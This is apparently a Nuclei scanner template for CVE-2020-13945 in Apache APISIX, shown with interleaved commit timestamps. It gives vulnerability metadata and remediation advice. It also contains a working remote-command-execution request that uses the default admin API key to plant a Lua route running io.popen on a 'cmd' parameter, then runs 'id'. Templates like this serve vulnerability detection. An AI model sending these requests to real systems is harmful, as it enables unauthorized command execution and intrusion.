2022-01-16 16:38:55 +00:00
id : CVE-2020-13945
info :
2022-10-10 19:22:59 +00:00
name : Apache APISIX - Insufficiently Protected Credentials
2022-01-16 16:38:55 +00:00
author : pdteam
2022-01-16 16:40:51 +00:00
severity : medium
2022-10-10 19:22:59 +00:00
description : Apache APISIX 1.2, 1.3, 1.4, and 1.5 is susceptible to insufficiently protected credentials. An attacker can enable the Admin API and delete the Admin API access IP restriction rules. Eventually, the default token is allowed to access APISIX management data.
2023-09-27 15:51:13 +00:00
impact : |
The vulnerability could result in unauthorized access to sensitive information, leading to potential data breaches or unauthorized actions.
2023-09-06 12:22:36 +00:00
remediation : |
Upgrade to the latest version of Apache APISIX, which includes a fix for the vulnerability. Additionally, ensure that sensitive credentials are properly protected and stored securely.
2022-01-16 16:38:55 +00:00
reference :
- https://github.com/vulhub/vulhub/tree/master/apisix/CVE-2020-13945
2022-05-17 09:18:12 +00:00
- https://lists.apache.org/thread.html/r792feb29964067a4108f53e8579a1e9bd1c8b5b9bc95618c814faf2f%40%3Cdev.apisix.apache.org%3E
- http://packetstormsecurity.com/files/166228/Apache-APISIX-Remote-Code-Execution.html
2022-10-10 19:22:59 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2020-13945
2022-01-16 16:40:51 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
2022-04-22 10:38:41 +00:00
cvss-score : 6.5
2022-01-16 16:40:51 +00:00
cve-id : CVE-2020-13945
2022-10-10 19:22:59 +00:00
cwe-id : CWE-522
2024-01-14 13:49:27 +00:00
epss-score : 0.00587
epss-percentile : 0.7581
2023-09-06 12:22:36 +00:00
cpe : cpe:2.3:a:apache:apisix:*:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 2
2023-07-11 19:49:27 +00:00
vendor : apache
product : apisix
2024-01-14 09:21:50 +00:00
tags : cve2020,cve,intrusive,vulhub,packetstorm,apache,apisix
2022-01-16 16:38:55 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-01-16 16:38:55 +00:00
- raw :
- |
POST /apisix/admin/routes HTTP/1.1
Host : {{Hostname}}
X-API-KEY : edd1c9f034335f136f87ad84b625c8f1
Content-Type : application/json
{
"uri" : "/{{randstr}}" ,
"script" : "local _M = {} \n function _M.access(conf, ctx) \n local os = require('os')\n local args = assert(ngx.req.get_uri_args()) \n local f = assert(io.popen(args.cmd, 'r'))\n local s = assert(f:read('*a'))\n ngx.say(s)\n f:close() \n end \nreturn _M" ,
"upstream" : {
"type" : "roundrobin" ,
"nodes" : {
2022-06-06 10:40:15 +00:00
"interact.sh:80" : 1
2022-01-16 16:38:55 +00:00
}
}
}
- |
GET /{{randstr}}?cmd=id HTTP/1.1
Host : {{Hostname}}
matchers-condition : and
matchers :
- type : word
words :
- '"action":"create"'
- '"script":'
- '"node":'
condition : and
- type : status
status :
- 201
extractors :
- type : regex
regex :
- "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)"
2024-01-26 08:31:11 +00:00
# digest: 4a0a00473045022100d9b6fcf3232f31eb3c411a2c638b872d6af2bbb29f7c6f398b571b52366c8aa402203775dae5af007fd81054fb2fd5b75a068ba9a7f6c97202484a96fc0853fd7fbe:922c64590222798bb761d5b6d8e72950